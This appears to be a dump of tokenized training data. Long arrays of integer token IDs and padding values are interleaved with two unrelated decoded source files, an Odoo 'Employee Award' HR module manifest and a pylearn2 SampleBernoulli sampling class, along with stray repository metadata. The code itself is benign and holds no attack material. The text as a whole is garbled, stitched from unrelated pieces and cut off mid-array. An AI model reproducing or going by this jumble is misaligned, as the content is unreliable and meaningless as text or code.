29096, 199, 3, 420, 6061, 82, 3210, 12, 13870, 20744, 6848, 385, 453, 12, 27864, 869, 352, 1435, 12, 7173, 820, 14, 491, 6857, 262, 834, 12, 7173, 199, 3, 420, 869, 455, 2106, 68, 12, 699, 778, 377, 337, 84, 12, 869, 796, 7356, 1151, 12, 738, 1129, 3107, 16709, 262, 334, 4299, 54, 3053, 2291, 395, 199, 3, 420, 3626, 262, 1804, 951, 12, 377, 640, 603, 2000, 12, 598, 1535, 79, 20744, 6848, 385, 453, 12, 1626, 898, 89, 699, 1219, 351, 199, 3, 199, 3, 259, 27829, 26, 199, 3, 199, 3, 259, 665, 3239, 445, 7428, 436, 24639, 1104, 262, 3788, 367, 7994, 30, 199, 3, 199, 3, 259, 413, 14, 16, 14, 22, 446, 3483, 18369, 63, 4972, 342, 199, 3, 259, 413, 14, 16, 14, 21, 446, 6317, 9586, 2291, 370, 2040, 3879, 314, 859, 641, 25333, 199, 3, 259, 413, 14, 16, 14, 20, 446, 3483, 473, 2641, 4718, 2291, 199, 3, 259, 413, 14, 16, 14, 19, 446, 3483, 16973, 402, 5417, 2656, 536, 199, 3, 259, 413, 14, 16, 14, 18, 446, 3483, 1655, 5417, 2291, 199, 3, 259, 413, 14, 16, 14, 17, 446, 295, 15317, 370, 1852, 1382, 14, 647, 394, 18869, 199, 3, 259, 413, 14, 16, 14, 16, 446, 295, 15317, 282, 4546, 436, 7923, 1901, 2018, 445, 7428, 199, 3, 259, 378, 14, 24, 14, 16, 446, 3483, 984, 14, 1023, 1798, 436, 7750, 892, 2879, 199, 3, 3322, 15913, 334, 1548, 63, 1023, 1062, 2366, 63, 5772, 1062, 5423, 4959, 199, 3, 259, 378, 14, 23, 14, 18, 446, 6317, 15931, 342, 370, 675, 13855, 8, 3929, 9, 2382, 2808, 199, 3, 259, 378, 14, 23, 14, 17, 446, 3483, 2291, 367, 8256, 271, 345, 3232, 14091, 199, 3, 259, 378, 14, 23, 14, 16, 446, 2005, 25079, 367, 13036, 2089, 27, 625, 2902, 4541, 314, 1350, 570, 199, 3, 259, 378, 14, 22, 14, 18, 446, 2291, 367, 3232, 54, 3053, 446, 5074, 1015, 413, 14, 21, 14, 18, 13, 54, 8010, 503, 10948, 436, 199, 3, 3322, 22505, 63, 773, 14, 362, 1786, 73, 342, 7526, 199, 3, 259, 378, 14, 22, 14, 17, 446, 3483, 1233, 370, 7981, 283, 16040, 446, 80, 7, 641, 10677, 1314, 787, 199, 3, 3322, 6040, 440, 370, 2291, 652, 199, 3, 259, 378, 14, 22, 14, 16, 446, 6317, 4747, 708, 63, 422, 342, 370, 3661, 5836, 1736, 641, 13036, 2720, 12, 2905, 12, 12460, 436, 13036, 18, 75, 27, 199, 3, 3322, 8103, 2005, 9058, 402, 314, 8386, 446, 2005, 15913, 1172, 2896, 199, 3, 259, 378, 14, 21, 14, 21, 446, 6317, 4573, 730, 315, 314, 10444, 3100, 1233, 1396, 1077, 1172, 199, 3, 3322, 1202, 1655, 512, 24715, 11168, 8700, 13, 9, 199, 3, 259, 378, 14, 21, 14, 20, 446, 6317, 282, 9284, 10284, 1712, 315, 314, 10444, 3100, 1233, 199, 3, 259, 378, 14, 21, 14, 19, 446, 3483, 22820, 10444, 3100, 2291, 27, 3483, 8034, 17758, 342, 199, 3, 3322, 18092, 83, 315, 485, 1786, 551, 1064, 63, 422, 342, 1553, 5139, 440, 2948, 5, 325, 4170, 867, 199, 3, 3322, 10617, 199, 3, 259, 378, 14, 21, 14, 18, 446, 6317, 28179, 342, 370, 372, 2125, 3140, 402, 283, 5187, 7, 315, 1006, 199, 3, 3322, 372, 1338, 334, 1589, 2656, 28179, 1414, 16685, 795, 370, 372, 199, 3, 3322, 283, 5187, 7, 3140, 402, 2951, 23188, 314, 901, 325, 2037, 647, 9, 199, 3, 259, 378, 14, 21, 14, 17, 446, 5120, 1233, 367, 29877, 1068, 2917, 27, 3483, 1919, 8297, 199, 3, 3322, 370, 8486, 1536, 24325, 2382, 10677, 2793, 1133, 1172, 747, 14, 12207, 199, 3, 3322, 334, 69, 14, 71, 14, 10444, 9, 503, 2449, 641, 2838, 14, 29789, 7303, 6317, 1973, 67, 199, 3, 3322, 15212, 5363, 199, 3, 259, 378, 14, 21, 14, 16, 446, 2896, 314, 3261, 1561, 21864, 370, 2656, 3718, 370, 627, 1786, 551, 1064, 10, 27, 199, 3, 3322, 3483, 12120, 63, 422, 7303, 6326, 1847, 551, 1064, 63, 422, 342, 282, 5726, 199, 3, 3322, 3261, 334, 10274, 2656, 63, 422, 342, 315, 4136, 5459, 9, 1553, 675, 28179, 342, 199, 3, 3322, 3140, 27, 9243, 314, 4747, 708, 63, 422, 342, 0 ]
[ 1, 1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synergy/opnsynid-hr
hr_award/__openerp__.py
1
1285
# -*- coding: utf-8 -*- # Copyright 2019 OpenSynergy Indonesia # Copyright 2020 PT. Simetri Sinergi Indonesia # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). # pylint: disable=locally-disabled, manifest-required-author { "name": "Employee Award", "version": "8.0.2.0.0", "category": "Human Resource", "website": "https://simetri-sinergi.id", "author": "PT. Simetri Sinergi Indonesia, OpenSynergy Indonesia", "license": "AGPL-3", "installable": True, "depends": [ "hr_career_administration_configuration_page", "base_sequence_configurator", "base_workflow_policy", "base_cancel_reason", "base_multiple_approval", ], "data": [ "security/ir_module_category_data.xml", "security/res_groups_data.xml", "security/ir.model.access.csv", "security/ir_rule_data.xml", "data/base_workflow_policy_data.xml", "data/ir_sequence_data.xml", "data/base_sequence_configurator_data.xml", "data/base_cancel_reason_config_data.xml", "menu.xml", "views/hr_award_type_views.xml", "views/hr_award_reason_views.xml", "views/hr_award_views.xml", ], "images": [ "static/description/banner.png", ], }
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 1898, 20312, 3232, 17746, 7118, 473, 977, 368, 10971, 199, 3, 1898, 25455, 510, 52, 14, 428, 1036, 599, 428, 16187, 6153, 473, 977, 368, 10971, 199, 3, 844, 437, 12006, 13, 19, 14, 16, 503, 2945, 334, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 643, 1168, 680, 199, 3, 4287, 26, 3507, 29, 31294, 13, 7011, 12, 7712, 13, 2427, 13, 2502, 199, 91, 272, 298, 354, 582, 298, 22635, 437, 3079, 401, 272, 298, 1023, 582, 298, 24, 14, 16, 14, 18, 14, 16, 14, 16, 401, 272, 298, 3710, 582, 298, 31355, 7337, 401, 272, 298, 7360, 582, 298, 2859, 921, 338, 3318, 13, 5911, 281, 6153, 14, 344, 401, 272, 298, 2502, 582, 298, 4189, 14, 428, 1036, 599, 428, 16187, 6153, 473, 977, 368, 10971, 12, 3232, 17746, 7118, 473, 977, 368, 10971, 401, 272, 298, 1682, 582, 298, 1254, 2749, 13, 19, 401, 272, 298, 21762, 582, 715, 12, 272, 298, 8912, 582, 359, 267, 298, 6271, 63, 28654, 281, 63, 2113, 4633, 63, 4758, 63, 1606, 401, 267, 298, 1095, 63, 4041, 63, 888, 17320, 401, 267, 298, 1095, 63, 8856, 63, 3185, 401, 267, 298, 1095, 63, 6406, 63, 5764, 401, 267, 298, 1095, 63, 6048, 63, 28302, 401, 272, 2156, 272, 298, 576, 582, 359, 267, 298, 4416, 15, 723, 63, 578, 63, 3710, 63, 576, 14, 1652, 401, 267, 298, 4416, 15, 470, 63, 2634, 63, 576, 14, 1652, 401, 267, 298, 4416, 15, 723, 14, 1238, 14, 2732, 14, 4737, 401, 267, 298, 4416, 15, 723, 63, 2200, 63, 576, 14, 1652, 401, 267, 298, 576, 15, 1095, 63, 8856, 63, 3185, 63, 576, 14, 1652, 401, 267, 298, 576, 15, 723, 63, 4041, 63, 576, 14, 1652, 401, 267, 298, 576, 15, 1095, 63, 4041, 63, 888, 17320, 63, 576, 14, 1652, 401, 267, 298, 576, 15, 1095, 63, 6406, 63, 5764, 63, 888, 63, 576, 14, 1652, 401, 267, 298, 4470, 14, 1652, 401, 267, 298, 4196, 15, 6271, 63, 65, 3079, 63, 466, 63, 4196, 14, 1652, 401, 267, 298, 4196, 15, 6271, 63, 65, 3079, 63, 5764, 63, 4196, 14, 1652, 401, 267, 298, 4196, 15, 6271, 63, 65, 3079, 63, 4196, 14, 1652, 401, 272, 2156, 272, 298, 4782, 582, 359, 267, 298, 1986, 15, 1802, 15, 13066, 14, 4524, 401, 272, 2156, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 1898, 20312, 3232, 17746, 7118, 473, 977, 368, 10971, 199, 3, 1898, 25455, 510, 52, 14, 428, 1036, 599, 428, 16187, 6153, 473, 977, 368, 10971, 199, 3, 844, 437, 12006, 13, 19, 14, 16, 503, 2945, 334, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 643, 1168, 680, 199, 3, 4287, 26, 3507, 29, 31294, 13, 7011, 12, 7712, 13, 2427, 13, 2502, 199, 91, 272, 298, 354, 582, 298, 22635, 437, 3079, 401, 272, 298, 1023, 582, 298, 24, 14, 16, 14, 18, 14, 16, 14, 16, 401, 272, 298, 3710, 582, 298, 31355, 7337, 401, 272, 298, 7360, 582, 298, 2859, 921, 338, 3318, 13, 5911, 281, 6153, 14, 344, 401, 272, 298, 2502, 582, 298, 4189, 14, 428, 1036, 599, 428, 16187, 6153, 473, 977, 368, 10971, 12, 3232, 17746, 7118, 473, 977, 368, 10971, 401, 272, 298, 1682, 582, 298, 1254, 2749, 13, 19, 401, 272, 298, 21762, 582, 715, 12, 272, 298, 8912, 582, 359, 267, 298, 6271, 63, 28654, 281, 63, 2113, 4633, 63, 4758, 63, 1606, 401, 267, 298, 1095, 63, 4041, 63, 888, 17320, 401, 267, 298, 1095, 63, 8856, 63, 3185, 401, 267, 298, 1095, 63, 6406, 63, 5764, 401, 267, 298, 1095, 63, 6048, 63, 28302, 401, 272, 2156, 272, 298, 576, 582, 359, 267, 298, 4416, 15, 723, 63, 578, 63, 3710, 63, 576, 14, 1652, 401, 267, 298, 4416, 15, 470, 63, 2634, 63, 576, 14, 1652, 401, 267, 298, 4416, 15, 723, 14, 1238, 14, 2732, 14, 4737, 401, 267, 298, 4416, 15, 723, 63, 2200, 63, 576, 14, 1652, 401, 267, 298, 576, 15, 1095, 63, 8856, 63, 3185, 63, 576, 14, 1652, 401, 267, 298, 576, 15, 723, 63, 4041, 63, 576, 14, 1652, 401, 267, 298, 576, 15, 1095, 63, 4041, 63, 888, 17320, 63, 576, 14, 1652, 401, 267, 298, 576, 15, 1095, 63, 6406, 63, 5764, 63, 888, 63, 576, 14, 1652, 401, 267, 298, 4470, 14, 1652, 401, 267, 298, 4196, 15, 6271, 63, 65, 3079, 63, 466, 63, 4196, 14, 1652, 401, 267, 298, 4196, 15, 6271, 63, 65, 3079, 63, 5764, 63, 4196, 14, 1652, 401, 267, 298, 4196, 15, 6271, 63, 65, 3079, 63, 4196, 14, 1652, 401, 272, 2156, 272, 298, 4782, 582, 359, 267, 298, 1986, 15, 1802, 15, 13066, 14, 4524, 401, 272, 2156, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1,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2/expr/sampling.py
49
1815
""" .. todo:: WRITEME """ __authors__ = "Ian Goodfellow" __copyright__ = "Copyright 2010-2012, Universite de Montreal" __credits__ = ["Ian Goodfellow"] __license__ = "3-clause BSD" __maintainer__ = "LISA Lab" __email__ = "pylearn-dev@googlegroups" from theano.sandbox.rng_mrg import MRG_RandomStreams from pylearn2.blocks import Block from pylearn2.utils.rng import make_theano_rng class SampleBernoulli(Block): """ .. todo:: WRITEME Parameters ---------- theano_rng : WRITEME seed : WRITEME input_space : WRITEME """ def __init__(self, theano_rng = None, seed=None, input_space=None): super(SampleBernoulli, self).__init__() assert theano_rng is None or seed is None theano_rng = make_theano_rng(theano_rng if theano_rng is not None else seed, 2012+11+22, which_method='binomial') self.__dict__.update(locals()) del self.self def __call__(self, inputs): """ .. todo:: WRITEME """ if self.input_space: self.input_space.validate(inputs) return self.theano_rng.binomial(p=inputs, size=inputs.shape, dtype=inputs.dtype) def set_input_space(self, space): """ .. todo:: WRITEME """ self.input_space = space def get_input_space(self): """ .. todo:: WRITEME """ if self.input_space is not None: return self.input_space raise ValueError("No input space was specified for this Block (%s). " "You can call set_input_space to correct that." % str(self)) def get_output_space(self): """ .. todo:: WRITEME """ return self.get_input_space()
bsd-3-clause
[ 624, 199, 703, 11386, 447, 339, 25727, 199, 624, 199, 363, 8149, 363, 275, 298, 41, 290, 22311, 70, 10723, 2, 199, 363, 7307, 363, 275, 298, 7384, 7129, 13, 7409, 12, 1910, 4380, 2124, 477, 603, 1888, 3093, 2, 199, 363, 22461, 363, 275, 2097, 41, 290, 22311, 70, 10723, 937, 199, 363, 1682, 363, 275, 298, 19, 13, 8501, 6289, 2, 199, 363, 26665, 363, 275, 298, 44, 1311, 33, 16871, 2, 199, 363, 2123, 363, 275, 298, 647, 4643, 13, 2374, 32, 3098, 2634, 2, 199, 199, 504, 14377, 14, 16647, 14, 12686, 63, 77, 12430, 492, 603, 14058, 63, 3883, 19358, 199, 199, 504, 27959, 18, 14, 4166, 492, 8651, 199, 504, 27959, 18, 14, 1208, 14, 12686, 492, 1852, 63, 32057, 63, 12686, 421, 199, 533, 15227, 24947, 24992, 8, 3142, 304, 272, 408, 272, 2508, 11386, 447, 398, 25727, 339, 3897, 272, 4143, 272, 14377, 63, 12686, 520, 25727, 272, 6347, 520, 25727, 272, 1324, 63, 2638, 520, 25727, 272, 408, 272, 347, 636, 826, 721, 277, 12, 14377, 63, 12686, 275, 488, 12, 6347, 29, 403, 12, 1324, 63, 2638, 29, 403, 304, 267, 1613, 8, 8176, 24947, 24992, 12, 291, 2843, 826, 4533, 267, 702, 14377, 63, 12686, 365, 488, 503, 6347, 365, 488, 267, 14377, 63, 12686, 275, 1852, 63, 32057, 63, 12686, 8, 32057, 63, 12686, 340, 14377, 63, 12686, 365, 440, 488, 587, 6347, 12, 3660, 6029, 11, 845, 11, 1081, 12, 1314, 63, 765, 534, 27578, 358, 267, 291, 855, 807, 4343, 873, 8, 9350, 1012, 267, 2150, 291, 14, 277, 339, 347, 636, 1250, 721, 277, 12, 4153, 304, 267, 408, 267, 2508, 11386, 447, 953, 25727, 267, 408, 267, 340, 291, 14, 1210, 63, 2638, 26, 288, 291, 14, 1210, 63, 2638, 14, 3502, 8, 3711, 9, 267, 372, 291, 14, 32057, 63, 12686, 14, 27578, 8, 80, 29, 3711, 12, 1568, 29, 3711, 14, 1392, 12, 2152, 29, 3711, 14, 2271, 9, 339, 347, 663, 63, 1210, 63, 2638, 8, 277, 12, 4601, 304, 267, 408, 267, 2508, 11386, 447, 953, 25727, 267, 408, 267, 291, 14, 1210, 63, 2638, 275, 4601, 339, 347, 664, 63, 1210, 63, 2638, 8, 277, 304, 267, 408, 267, 2508, 11386, 447, 953, 25727, 267, 408, 267, 340, 291, 14, 1210, 63, 2638, 365, 440, 488, 26, 288, 372, 291, 14, 1210, 63, 2638, 267, 746, 1722, 480, 1944, 1324, 4601, 1990, 2013, 367, 642, 8651, 4366, 83, 680, 298, 355, 298, 5556, 883, 1240, 663, 63, 1210, 63, 2638, 370, 3211, 626, 2122, 450, 620, 8, 277, 430, 339, 347, 664, 63, 1199, 63, 2638, 8, 277, 304, 267, 408, 267, 2508, 11386, 447, 953, 25727, 267, 408, 267, 372, 291, 14, 362, 63, 1210, 63, 2638, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 